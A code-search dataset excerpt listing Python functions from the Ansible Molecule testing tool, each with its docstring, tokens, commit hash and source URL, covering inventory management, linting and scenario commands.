repo stringlengths 7 55 | path stringlengths 4 223 | func_name stringlengths 1 134 | original_string stringlengths 75 104k | language stringclasses 1
value | code stringlengths 75 104k | code_tokens listlengths 19 28.4k | docstring stringlengths 1 46.9k | docstring_tokens listlengths 1 1.97k | sha stringlengths 40 40 | url stringlengths 87 315 | partition stringclasses 1
value |
|---|---|---|---|---|---|---|---|---|---|---|---|
ansible/molecule | molecule/provisioner/ansible.py | Ansible.write_config | def write_config(self):
"""
Writes the provisioner's config file to disk and returns None.
:return: None
"""
template = util.render_template(
self._get_config_template(), config_options=self.config_options)
util.write_file(self.config_file, template) | python | def write_config(self):
"""
Writes the provisioner's config file to disk and returns None.
:return: None
"""
template = util.render_template(
self._get_config_template(), config_options=self.config_options)
util.write_file(self.config_file, template) | [
"def",
"write_config",
"(",
"self",
")",
":",
"template",
"=",
"util",
".",
"render_template",
"(",
"self",
".",
"_get_config_template",
"(",
")",
",",
"config_options",
"=",
"self",
".",
"config_options",
")",
"util",
".",
"write_file",
"(",
"self",
".",
... | Writes the provisioner's config file to disk and returns None.
:return: None | [
"Writes",
"the",
"provisioner",
"s",
"config",
"file",
"to",
"disk",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible.py#L719-L727 | train |
ansible/molecule | molecule/provisioner/ansible.py | Ansible.manage_inventory | def manage_inventory(self):
"""
Manages inventory for Ansible and returns None.
:returns: None
"""
self._write_inventory()
self._remove_vars()
if not self.links:
self._add_or_update_vars()
else:
self._link_or_update_vars() | python | def manage_inventory(self):
"""
Manages inventory for Ansible and returns None.
:returns: None
"""
self._write_inventory()
self._remove_vars()
if not self.links:
self._add_or_update_vars()
else:
self._link_or_update_vars() | [
"def",
"manage_inventory",
"(",
"self",
")",
":",
"self",
".",
"_write_inventory",
"(",
")",
"self",
".",
"_remove_vars",
"(",
")",
"if",
"not",
"self",
".",
"links",
":",
"self",
".",
"_add_or_update_vars",
"(",
")",
"else",
":",
"self",
".",
"_link_or_... | Manages inventory for Ansible and returns None.
:returns: None | [
"Manages",
"inventory",
"for",
"Ansible",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible.py#L729-L740 | train |
ansible/molecule | molecule/provisioner/ansible.py | Ansible._add_or_update_vars | def _add_or_update_vars(self):
"""
Creates host and/or group vars and returns None.
:returns: None
"""
# Create the hosts extra inventory source (only if not empty)
hosts_file = os.path.join(self.inventory_directory, 'hosts')
if self.hosts:
util.write... | python | def _add_or_update_vars(self):
"""
Creates host and/or group vars and returns None.
:returns: None
"""
# Create the hosts extra inventory source (only if not empty)
hosts_file = os.path.join(self.inventory_directory, 'hosts')
if self.hosts:
util.write... | [
"def",
"_add_or_update_vars",
"(",
"self",
")",
":",
"# Create the hosts extra inventory source (only if not empty)",
"hosts_file",
"=",
"os",
".",
"path",
".",
"join",
"(",
"self",
".",
"inventory_directory",
",",
"'hosts'",
")",
"if",
"self",
".",
"hosts",
":",
... | Creates host and/or group vars and returns None.
:returns: None | [
"Creates",
"host",
"and",
"/",
"or",
"group",
"vars",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible.py#L746-L782 | train |
ansible/molecule | molecule/provisioner/ansible.py | Ansible._write_inventory | def _write_inventory(self):
"""
Writes the provisioner's inventory file to disk and returns None.
:return: None
"""
self._verify_inventory()
util.write_file(self.inventory_file, util.safe_dump(self.inventory)) | python | def _write_inventory(self):
"""
Writes the provisioner's inventory file to disk and returns None.
:return: None
"""
self._verify_inventory()
util.write_file(self.inventory_file, util.safe_dump(self.inventory)) | [
"def",
"_write_inventory",
"(",
"self",
")",
":",
"self",
".",
"_verify_inventory",
"(",
")",
"util",
".",
"write_file",
"(",
"self",
".",
"inventory_file",
",",
"util",
".",
"safe_dump",
"(",
"self",
".",
"inventory",
")",
")"
] | Writes the provisioner's inventory file to disk and returns None.
:return: None | [
"Writes",
"the",
"provisioner",
"s",
"inventory",
"file",
"to",
"disk",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible.py#L784-L792 | train |
ansible/molecule | molecule/provisioner/ansible.py | Ansible._remove_vars | def _remove_vars(self):
"""
Remove hosts/host_vars/group_vars and returns None.
:returns: None
"""
for name in ("hosts", "group_vars", "host_vars"):
d = os.path.join(self.inventory_directory, name)
if os.path.islink(d) or os.path.isfile(d):
... | python | def _remove_vars(self):
"""
Remove hosts/host_vars/group_vars and returns None.
:returns: None
"""
for name in ("hosts", "group_vars", "host_vars"):
d = os.path.join(self.inventory_directory, name)
if os.path.islink(d) or os.path.isfile(d):
... | [
"def",
"_remove_vars",
"(",
"self",
")",
":",
"for",
"name",
"in",
"(",
"\"hosts\"",
",",
"\"group_vars\"",
",",
"\"host_vars\"",
")",
":",
"d",
"=",
"os",
".",
"path",
".",
"join",
"(",
"self",
".",
"inventory_directory",
",",
"name",
")",
"if",
"os",... | Remove hosts/host_vars/group_vars and returns None.
:returns: None | [
"Remove",
"hosts",
"/",
"host_vars",
"/",
"group_vars",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible.py#L794-L805 | train |
ansible/molecule | molecule/provisioner/ansible.py | Ansible._link_or_update_vars | def _link_or_update_vars(self):
"""
Creates or updates the symlink to group_vars and returns None.
:returns: None
"""
for d, source in self.links.items():
target = os.path.join(self.inventory_directory, d)
source = os.path.join(self._config.scenario.direc... | python | def _link_or_update_vars(self):
"""
Creates or updates the symlink to group_vars and returns None.
:returns: None
"""
for d, source in self.links.items():
target = os.path.join(self.inventory_directory, d)
source = os.path.join(self._config.scenario.direc... | [
"def",
"_link_or_update_vars",
"(",
"self",
")",
":",
"for",
"d",
",",
"source",
"in",
"self",
".",
"links",
".",
"items",
"(",
")",
":",
"target",
"=",
"os",
".",
"path",
".",
"join",
"(",
"self",
".",
"inventory_directory",
",",
"d",
")",
"source",... | Creates or updates the symlink to group_vars and returns None.
:returns: None | [
"Creates",
"or",
"updates",
"the",
"symlink",
"to",
"group_vars",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible.py#L807-L822 | train |
ansible/molecule | molecule/provisioner/ansible.py | Ansible._get_ansible_playbook | def _get_ansible_playbook(self, playbook, **kwargs):
"""
Get an instance of AnsiblePlaybook and returns it.
:param playbook: A string containing an absolute path to a
provisioner's playbook.
:param kwargs: An optional keyword arguments.
:return: object
"""
... | python | def _get_ansible_playbook(self, playbook, **kwargs):
"""
Get an instance of AnsiblePlaybook and returns it.
:param playbook: A string containing an absolute path to a
provisioner's playbook.
:param kwargs: An optional keyword arguments.
:return: object
"""
... | [
"def",
"_get_ansible_playbook",
"(",
"self",
",",
"playbook",
",",
"*",
"*",
"kwargs",
")",
":",
"return",
"ansible_playbook",
".",
"AnsiblePlaybook",
"(",
"playbook",
",",
"self",
".",
"_config",
",",
"*",
"*",
"kwargs",
")"
] | Get an instance of AnsiblePlaybook and returns it.
:param playbook: A string containing an absolute path to a
provisioner's playbook.
:param kwargs: An optional keyword arguments.
:return: object | [
"Get",
"an",
"instance",
"of",
"AnsiblePlaybook",
"and",
"returns",
"it",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible.py#L824-L834 | train |
ansible/molecule | molecule/lint/yamllint.py | Yamllint._get_files | def _get_files(self):
"""
Walk the project directory for tests and returns a list.
:return: list
"""
excludes = [
'.git',
'.tox',
'.vagrant',
'.venv',
os.path.basename(self._config.verifier.directory),
]
... | python | def _get_files(self):
"""
Walk the project directory for tests and returns a list.
:return: list
"""
excludes = [
'.git',
'.tox',
'.vagrant',
'.venv',
os.path.basename(self._config.verifier.directory),
]
... | [
"def",
"_get_files",
"(",
"self",
")",
":",
"excludes",
"=",
"[",
"'.git'",
",",
"'.tox'",
",",
"'.vagrant'",
",",
"'.venv'",
",",
"os",
".",
"path",
".",
"basename",
"(",
"self",
".",
"_config",
".",
"verifier",
".",
"directory",
")",
",",
"]",
"gen... | Walk the project directory for tests and returns a list.
:return: list | [
"Walk",
"the",
"project",
"directory",
"for",
"tests",
"and",
"returns",
"a",
"list",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/lint/yamllint.py#L143-L161 | train |
ansible/molecule | molecule/verifier/lint/yamllint.py | Yamllint.bake | def bake(self):
"""
Bake a `yamllint` command so it's ready to execute and returns None.
:return: None
"""
self._yamllint_command = sh.yamllint.bake(
self.options,
self._tests,
_env=self.env,
_out=LOG.out,
_err=LOG.erro... | python | def bake(self):
"""
Bake a `yamllint` command so it's ready to execute and returns None.
:return: None
"""
self._yamllint_command = sh.yamllint.bake(
self.options,
self._tests,
_env=self.env,
_out=LOG.out,
_err=LOG.erro... | [
"def",
"bake",
"(",
"self",
")",
":",
"self",
".",
"_yamllint_command",
"=",
"sh",
".",
"yamllint",
".",
"bake",
"(",
"self",
".",
"options",
",",
"self",
".",
"_tests",
",",
"_env",
"=",
"self",
".",
"env",
",",
"_out",
"=",
"LOG",
".",
"out",
"... | Bake a `yamllint` command so it's ready to execute and returns None.
:return: None | [
"Bake",
"a",
"yamllint",
"command",
"so",
"it",
"s",
"ready",
"to",
"execute",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/verifier/lint/yamllint.py#L96-L107 | train |
ansible/molecule | setup.py | str_if_nested_or_str | def str_if_nested_or_str(s):
"""Turn input into a native string if possible."""
if isinstance(s, ALL_STRING_TYPES):
return str(s)
if isinstance(s, (list, tuple)):
return type(s)(map(str_if_nested_or_str, s))
if isinstance(s, (dict, )):
return stringify_dict_contents(s)
return... | python | def str_if_nested_or_str(s):
"""Turn input into a native string if possible."""
if isinstance(s, ALL_STRING_TYPES):
return str(s)
if isinstance(s, (list, tuple)):
return type(s)(map(str_if_nested_or_str, s))
if isinstance(s, (dict, )):
return stringify_dict_contents(s)
return... | [
"def",
"str_if_nested_or_str",
"(",
"s",
")",
":",
"if",
"isinstance",
"(",
"s",
",",
"ALL_STRING_TYPES",
")",
":",
"return",
"str",
"(",
"s",
")",
"if",
"isinstance",
"(",
"s",
",",
"(",
"list",
",",
"tuple",
")",
")",
":",
"return",
"type",
"(",
... | Turn input into a native string if possible. | [
"Turn",
"input",
"into",
"a",
"native",
"string",
"if",
"possible",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/setup.py#L46-L54 | train |
ansible/molecule | setup.py | stringify_dict_contents | def stringify_dict_contents(dct):
"""Turn dict keys and values into native strings."""
return {
str_if_nested_or_str(k): str_if_nested_or_str(v)
for k, v in dct.items()
} | python | def stringify_dict_contents(dct):
"""Turn dict keys and values into native strings."""
return {
str_if_nested_or_str(k): str_if_nested_or_str(v)
for k, v in dct.items()
} | [
"def",
"stringify_dict_contents",
"(",
"dct",
")",
":",
"return",
"{",
"str_if_nested_or_str",
"(",
"k",
")",
":",
"str_if_nested_or_str",
"(",
"v",
")",
"for",
"k",
",",
"v",
"in",
"dct",
".",
"items",
"(",
")",
"}"
] | Turn dict keys and values into native strings. | [
"Turn",
"dict",
"keys",
"and",
"values",
"into",
"native",
"strings",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/setup.py#L57-L62 | train |
ansible/molecule | molecule/command/create.py | create | def create(ctx, scenario_name, driver_name): # pragma: no cover
""" Use the provisioner to start the instances. """
args = ctx.obj.get('args')
subcommand = base._get_subcommand(__name__)
command_args = {
'subcommand': subcommand,
'driver_name': driver_name,
}
base.execute_cmdli... | python | def create(ctx, scenario_name, driver_name): # pragma: no cover
""" Use the provisioner to start the instances. """
args = ctx.obj.get('args')
subcommand = base._get_subcommand(__name__)
command_args = {
'subcommand': subcommand,
'driver_name': driver_name,
}
base.execute_cmdli... | [
"def",
"create",
"(",
"ctx",
",",
"scenario_name",
",",
"driver_name",
")",
":",
"# pragma: no cover",
"args",
"=",
"ctx",
".",
"obj",
".",
"get",
"(",
"'args'",
")",
"subcommand",
"=",
"base",
".",
"_get_subcommand",
"(",
"__name__",
")",
"command_args",
... | Use the provisioner to start the instances. | [
"Use",
"the",
"provisioner",
"to",
"start",
"the",
"instances",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/create.py#L108-L117 | train |
ansible/molecule | molecule/command/create.py | Create.execute | def execute(self):
"""
Execute the actions necessary to perform a `molecule create` and
returns None.
:return: None
"""
self.print_info()
self._config.state.change_state('driver', self._config.driver.name)
if self._config.driver.delegated and not self._c... | python | def execute(self):
"""
Execute the actions necessary to perform a `molecule create` and
returns None.
:return: None
"""
self.print_info()
self._config.state.change_state('driver', self._config.driver.name)
if self._config.driver.delegated and not self._c... | [
"def",
"execute",
"(",
"self",
")",
":",
"self",
".",
"print_info",
"(",
")",
"self",
".",
"_config",
".",
"state",
".",
"change_state",
"(",
"'driver'",
",",
"self",
".",
"_config",
".",
"driver",
".",
"name",
")",
"if",
"self",
".",
"_config",
".",... | Execute the actions necessary to perform a `molecule create` and
returns None.
:return: None | [
"Execute",
"the",
"actions",
"necessary",
"to",
"perform",
"a",
"molecule",
"create",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/create.py#L70-L92 | train |
ansible/molecule | molecule/command/init/template.py | template | def template(ctx, url, no_input, role_name): # pragma: no cover
""" Initialize a new role from a Cookiecutter URL. """
command_args = {
'role_name': role_name,
'subcommand': __name__,
'url': url,
'no_input': no_input,
}
t = Template(command_args)
t.execute() | python | def template(ctx, url, no_input, role_name): # pragma: no cover
""" Initialize a new role from a Cookiecutter URL. """
command_args = {
'role_name': role_name,
'subcommand': __name__,
'url': url,
'no_input': no_input,
}
t = Template(command_args)
t.execute() | [
"def",
"template",
"(",
"ctx",
",",
"url",
",",
"no_input",
",",
"role_name",
")",
":",
"# pragma: no cover",
"command_args",
"=",
"{",
"'role_name'",
":",
"role_name",
",",
"'subcommand'",
":",
"__name__",
",",
"'url'",
":",
"url",
",",
"'no_input'",
":",
... | Initialize a new role from a Cookiecutter URL. | [
"Initialize",
"a",
"new",
"role",
"from",
"a",
"Cookiecutter",
"URL",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/init/template.py#L93-L103 | train |
ansible/molecule | molecule/command/init/template.py | Template.execute | def execute(self):
"""
Execute the actions necessary to perform a `molecule init template` and
returns None.
:return: None
"""
role_name = self._command_args['role_name']
url = self._command_args['url']
no_input = self._command_args['no_input']
r... | python | def execute(self):
"""
Execute the actions necessary to perform a `molecule init template` and
returns None.
:return: None
"""
role_name = self._command_args['role_name']
url = self._command_args['url']
no_input = self._command_args['no_input']
r... | [
"def",
"execute",
"(",
"self",
")",
":",
"role_name",
"=",
"self",
".",
"_command_args",
"[",
"'role_name'",
"]",
"url",
"=",
"self",
".",
"_command_args",
"[",
"'url'",
"]",
"no_input",
"=",
"self",
".",
"_command_args",
"[",
"'no_input'",
"]",
"role_dire... | Execute the actions necessary to perform a `molecule init template` and
returns None.
:return: None | [
"Execute",
"the",
"actions",
"necessary",
"to",
"perform",
"a",
"molecule",
"init",
"template",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/init/template.py#L46-L74 | train |
ansible/molecule | molecule/command/prepare.py | Prepare.execute | def execute(self):
"""
Execute the actions necessary to prepare the instances and returns
None.
:return: None
"""
self.print_info()
if (self._config.state.prepared
and not self._config.command_args.get('force')):
msg = 'Skipping, inst... | python | def execute(self):
"""
Execute the actions necessary to prepare the instances and returns
None.
:return: None
"""
self.print_info()
if (self._config.state.prepared
and not self._config.command_args.get('force')):
msg = 'Skipping, inst... | [
"def",
"execute",
"(",
"self",
")",
":",
"self",
".",
"print_info",
"(",
")",
"if",
"(",
"self",
".",
"_config",
".",
"state",
".",
"prepared",
"and",
"not",
"self",
".",
"_config",
".",
"command_args",
".",
"get",
"(",
"'force'",
")",
")",
":",
"m... | Execute the actions necessary to prepare the instances and returns
None.
:return: None | [
"Execute",
"the",
"actions",
"necessary",
"to",
"prepare",
"the",
"instances",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/prepare.py#L82-L103 | train |
ansible/molecule | molecule/state.py | State.change_state | def change_state(self, key, value):
"""
Changes the state of the instance data with the given
``key`` and the provided ``value``.
Wrapping with a decorator is probably not necessary.
:param key: A ``str`` containing the key to update
:param value: A value to change the ... | python | def change_state(self, key, value):
"""
Changes the state of the instance data with the given
``key`` and the provided ``value``.
Wrapping with a decorator is probably not necessary.
:param key: A ``str`` containing the key to update
:param value: A value to change the ... | [
"def",
"change_state",
"(",
"self",
",",
"key",
",",
"value",
")",
":",
"if",
"key",
"not",
"in",
"VALID_KEYS",
":",
"raise",
"InvalidState",
"self",
".",
"_data",
"[",
"key",
"]",
"=",
"value"
] | Changes the state of the instance data with the given
``key`` and the provided ``value``.
Wrapping with a decorator is probably not necessary.
:param key: A ``str`` containing the key to update
:param value: A value to change the ``key`` to
:return: None | [
"Changes",
"the",
"state",
"of",
"the",
"instance",
"data",
"with",
"the",
"given",
"key",
"and",
"the",
"provided",
"value",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/state.py#L109-L122 | train |
ansible/molecule | molecule/dependency/shell.py | Shell.bake | def bake(self):
"""
Bake a ``shell`` command so it's ready to execute and returns None.
:return: None
"""
command_list = self.command.split(' ')
command, args = command_list[0], command_list[1:]
self._sh_command = getattr(sh, command)
# Reconstruct comma... | python | def bake(self):
"""
Bake a ``shell`` command so it's ready to execute and returns None.
:return: None
"""
command_list = self.command.split(' ')
command, args = command_list[0], command_list[1:]
self._sh_command = getattr(sh, command)
# Reconstruct comma... | [
"def",
"bake",
"(",
"self",
")",
":",
"command_list",
"=",
"self",
".",
"command",
".",
"split",
"(",
"' '",
")",
"command",
",",
"args",
"=",
"command_list",
"[",
"0",
"]",
",",
"command_list",
"[",
"1",
":",
"]",
"self",
".",
"_sh_command",
"=",
... | Bake a ``shell`` command so it's ready to execute and returns None.
:return: None | [
"Bake",
"a",
"shell",
"command",
"so",
"it",
"s",
"ready",
"to",
"execute",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/dependency/shell.py#L90-L102 | train |
ansible/molecule | molecule/verifier/lint/rubocop.py | RuboCop.bake | def bake(self):
"""
Bake a `rubocop` command so it's ready to execute and returns None.
:return: None
"""
self._rubocop_command = sh.rubocop.bake(
self.options,
self._tests,
_env=self.env,
_out=LOG.out,
_err=LOG.error) | python | def bake(self):
"""
Bake a `rubocop` command so it's ready to execute and returns None.
:return: None
"""
self._rubocop_command = sh.rubocop.bake(
self.options,
self._tests,
_env=self.env,
_out=LOG.out,
_err=LOG.error) | [
"def",
"bake",
"(",
"self",
")",
":",
"self",
".",
"_rubocop_command",
"=",
"sh",
".",
"rubocop",
".",
"bake",
"(",
"self",
".",
"options",
",",
"self",
".",
"_tests",
",",
"_env",
"=",
"self",
".",
"env",
",",
"_out",
"=",
"LOG",
".",
"out",
","... | Bake a `rubocop` command so it's ready to execute and returns None.
:return: None | [
"Bake",
"a",
"rubocop",
"command",
"so",
"it",
"s",
"ready",
"to",
"execute",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/verifier/lint/rubocop.py#L98-L109 | train |
ansible/molecule | molecule/command/destroy.py | Destroy.execute | def execute(self):
"""
Execute the actions necessary to perform a `molecule destroy` and
returns None.
:return: None
"""
self.print_info()
if self._config.command_args.get('destroy') == 'never':
msg = "Skipping, '--destroy=never' requested."
... | python | def execute(self):
"""
Execute the actions necessary to perform a `molecule destroy` and
returns None.
:return: None
"""
self.print_info()
if self._config.command_args.get('destroy') == 'never':
msg = "Skipping, '--destroy=never' requested."
... | [
"def",
"execute",
"(",
"self",
")",
":",
"self",
".",
"print_info",
"(",
")",
"if",
"self",
".",
"_config",
".",
"command_args",
".",
"get",
"(",
"'destroy'",
")",
"==",
"'never'",
":",
"msg",
"=",
"\"Skipping, '--destroy=never' requested.\"",
"LOG",
".",
... | Execute the actions necessary to perform a `molecule destroy` and
returns None.
:return: None | [
"Execute",
"the",
"actions",
"necessary",
"to",
"perform",
"a",
"molecule",
"destroy",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/destroy.py#L76-L96 | train |
ansible/molecule | molecule/shell.py | main | def main(ctx, debug, base_config, env_file): # pragma: no cover
"""
\b
_____ _ _
| |___| |___ ___ _ _| |___
| | | | . | | -_| _| | | | -_|
|_|_|_|___|_|___|___|___|_|___|
Molecule aids in the development and testing of Ansible roles.
Enable autocomplete issue:
... | python | def main(ctx, debug, base_config, env_file): # pragma: no cover
"""
\b
_____ _ _
| |___| |___ ___ _ _| |___
| | | | . | | -_| _| | | | -_|
|_|_|_|___|_|___|___|___|_|___|
Molecule aids in the development and testing of Ansible roles.
Enable autocomplete issue:
... | [
"def",
"main",
"(",
"ctx",
",",
"debug",
",",
"base_config",
",",
"env_file",
")",
":",
"# pragma: no cover",
"ctx",
".",
"obj",
"=",
"{",
"}",
"ctx",
".",
"obj",
"[",
"'args'",
"]",
"=",
"{",
"}",
"ctx",
".",
"obj",
"[",
"'args'",
"]",
"[",
"'de... | \b
_____ _ _
| |___| |___ ___ _ _| |___
| | | | . | | -_| _| | | | -_|
|_|_|_|___|_|___|___|___|_|___|
Molecule aids in the development and testing of Ansible roles.
Enable autocomplete issue:
eval "$(_MOLECULE_COMPLETE=source molecule)" | [
"\\",
"b",
"_____",
"_",
"_",
"|",
"|___|",
"|___",
"___",
"_",
"_|",
"|___",
"|",
"|",
"|",
"|",
".",
"|",
"|",
"-",
"_|",
"_|",
"|",
"|",
"|",
"-",
"_|",
"|_|_|_|___|_|___|___|___|_|___|"
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/shell.py#L59-L77 | train |
ansible/molecule | molecule/provisioner/ansible/plugins/filters/molecule_core.py | from_yaml | def from_yaml(data):
"""
Interpolate the provided data and return a dict.
Currently, this is used to reinterpolate the `molecule.yml` inside an
Ansible playbook. If there were any interpolation errors, they would
have been found and raised earlier.
:return: dict
"""
molecule_env_file ... | python | def from_yaml(data):
"""
Interpolate the provided data and return a dict.
Currently, this is used to reinterpolate the `molecule.yml` inside an
Ansible playbook. If there were any interpolation errors, they would
have been found and raised earlier.
:return: dict
"""
molecule_env_file ... | [
"def",
"from_yaml",
"(",
"data",
")",
":",
"molecule_env_file",
"=",
"os",
".",
"environ",
"[",
"'MOLECULE_ENV_FILE'",
"]",
"env",
"=",
"os",
".",
"environ",
".",
"copy",
"(",
")",
"env",
"=",
"config",
".",
"set_env_from_file",
"(",
"env",
",",
"molecul... | Interpolate the provided data and return a dict.
Currently, this is used to reinterpolate the `molecule.yml` inside an
Ansible playbook. If there were any interpolation errors, they would
have been found and raised earlier.
:return: dict | [
"Interpolate",
"the",
"provided",
"data",
"and",
"return",
"a",
"dict",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible/plugins/filters/molecule_core.py#L28-L46 | train |
ansible/molecule | molecule/command/matrix.py | matrix | def matrix(ctx, scenario_name, subcommand): # pragma: no cover
"""
List matrix of steps used to test instances.
"""
args = ctx.obj.get('args')
command_args = {
'subcommand': subcommand,
}
s = scenarios.Scenarios(
base.get_configs(args, command_args), scenario_name)
s.p... | python | def matrix(ctx, scenario_name, subcommand): # pragma: no cover
"""
List matrix of steps used to test instances.
"""
args = ctx.obj.get('args')
command_args = {
'subcommand': subcommand,
}
s = scenarios.Scenarios(
base.get_configs(args, command_args), scenario_name)
s.p... | [
"def",
"matrix",
"(",
"ctx",
",",
"scenario_name",
",",
"subcommand",
")",
":",
"# pragma: no cover",
"args",
"=",
"ctx",
".",
"obj",
".",
"get",
"(",
"'args'",
")",
"command_args",
"=",
"{",
"'subcommand'",
":",
"subcommand",
",",
"}",
"s",
"=",
"scenar... | List matrix of steps used to test instances. | [
"List",
"matrix",
"of",
"steps",
"used",
"to",
"test",
"instances",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/matrix.py#L71-L83 | train |
ansible/molecule | molecule/command/init/base.py | Base._process_templates | def _process_templates(self,
template_dir,
extra_context,
output_dir,
overwrite=True):
"""
Process templates as found in the named directory.
:param template_dir: A string containing an a... | python | def _process_templates(self,
template_dir,
extra_context,
output_dir,
overwrite=True):
"""
Process templates as found in the named directory.
:param template_dir: A string containing an a... | [
"def",
"_process_templates",
"(",
"self",
",",
"template_dir",
",",
"extra_context",
",",
"output_dir",
",",
"overwrite",
"=",
"True",
")",
":",
"template_dir",
"=",
"self",
".",
"_resolve_template_dir",
"(",
"template_dir",
")",
"self",
".",
"_validate_template_d... | Process templates as found in the named directory.
:param template_dir: A string containing an absolute or relative path
to a directory where the templates are located. If the provided
directory is a relative path, it is resolved using a known location.
:param extra_context: A dict of... | [
"Process",
"templates",
"as",
"found",
"in",
"the",
"named",
"directory",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/init/base.py#L36-L69 | train |
ansible/molecule | molecule/provisioner/ansible/plugins/libraries/molecule_vagrant.py | VagrantClient.stdout_cm | def stdout_cm(self):
""" Redirect the stdout to a log file. """
with open(self._get_stdout_log(), 'a+') as fh:
msg = '### {} ###\n'.format(self._datetime)
fh.write(msg)
fh.flush()
yield fh | python | def stdout_cm(self):
""" Redirect the stdout to a log file. """
with open(self._get_stdout_log(), 'a+') as fh:
msg = '### {} ###\n'.format(self._datetime)
fh.write(msg)
fh.flush()
yield fh | [
"def",
"stdout_cm",
"(",
"self",
")",
":",
"with",
"open",
"(",
"self",
".",
"_get_stdout_log",
"(",
")",
",",
"'a+'",
")",
"as",
"fh",
":",
"msg",
"=",
"'### {} ###\\n'",
".",
"format",
"(",
"self",
".",
"_datetime",
")",
"fh",
".",
"write",
"(",
... | Redirect the stdout to a log file. | [
"Redirect",
"the",
"stdout",
"to",
"a",
"log",
"file",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible/plugins/libraries/molecule_vagrant.py#L364-L371 | train |
ansible/molecule | molecule/provisioner/ansible/plugins/libraries/molecule_vagrant.py | VagrantClient.stderr_cm | def stderr_cm(self):
""" Redirect the stderr to a log file. """
with open(self._get_stderr_log(), 'a+') as fh:
msg = '### {} ###\n'.format(self._datetime)
fh.write(msg)
fh.flush()
try:
yield fh
except Exception as e:
... | python | def stderr_cm(self):
""" Redirect the stderr to a log file. """
with open(self._get_stderr_log(), 'a+') as fh:
msg = '### {} ###\n'.format(self._datetime)
fh.write(msg)
fh.flush()
try:
yield fh
except Exception as e:
... | [
"def",
"stderr_cm",
"(",
"self",
")",
":",
"with",
"open",
"(",
"self",
".",
"_get_stderr_log",
"(",
")",
",",
"'a+'",
")",
"as",
"fh",
":",
"msg",
"=",
"'### {} ###\\n'",
".",
"format",
"(",
"self",
".",
"_datetime",
")",
"fh",
".",
"write",
"(",
... | Redirect the stderr to a log file. | [
"Redirect",
"the",
"stderr",
"to",
"a",
"log",
"file",
"."
